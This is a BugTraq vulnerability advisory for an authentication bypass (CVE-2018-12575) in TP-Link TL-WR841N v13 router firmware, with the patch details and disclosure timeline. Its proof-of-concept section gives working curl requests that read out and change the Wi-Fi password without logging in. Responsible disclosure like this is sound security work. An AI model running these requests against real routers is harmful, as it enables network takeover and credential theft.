BugTraq
TP-Link TL-WR841N v13: Broken Authentication (CVE-2018-12575) Jun 27 2018 02:04PM
Tim Coen (tc coen gmail com)
* Vulnerability: Broken Authentication
* Affected Software: TP-Link TL-WR841N v13
* Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n
* Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
* Risk: High
* Vendor Contacted: 05/20/2018
* Vendor Fix: Issue was independently fixed in previous version
* Public Disclosure: 06/27/2018

##### Overview

An attacker that can send HTTP requests to the router can bypass the
authentication mechanism of the web interface and thus perform arbitrary
actions.

##### CVSS

High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

##### Details

An unauthenticated attacker can send arbitrary requests to CGI scripts,
which allows them to perform all actions an authenticated user could
perform, as well as read out all information that an authenticated user
can read out. With default configuration, the attacker has to be in the
same local network as the router.

The issue exists because while the frontend of the web interface has a
basic authentication mechanism, requests to the CGI scripts fail to
validate the authentication cookie.

##### POC

Read out Wifi password:

curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/' -H $'Content-Type: text/plain' -H $'Content-Length:
404' -H $'Connection: close' --data-binary
$'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0a
Enable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStand
ard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionM
odes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPA
AuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthentic
ationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0
d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_Radius
ServerPassword\x0d\x0a'
$'http://192.168.0.1/cgi?5'

Change Wifi password:

curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 197' -H
$'Connection: close' --data-binary
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEE
E11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=A
ESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdat
eInterval=0\x0d\x0a'
$'http://192.168.0.1/cgi?2'

##### Solution

The issue was already fixed independently of this report in the newest
version of the firmware:

TL-WR841N(EU)_V13_180119:
https://www.tp-link.com/uk/download/TL-WR841N.html#Firmware

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75

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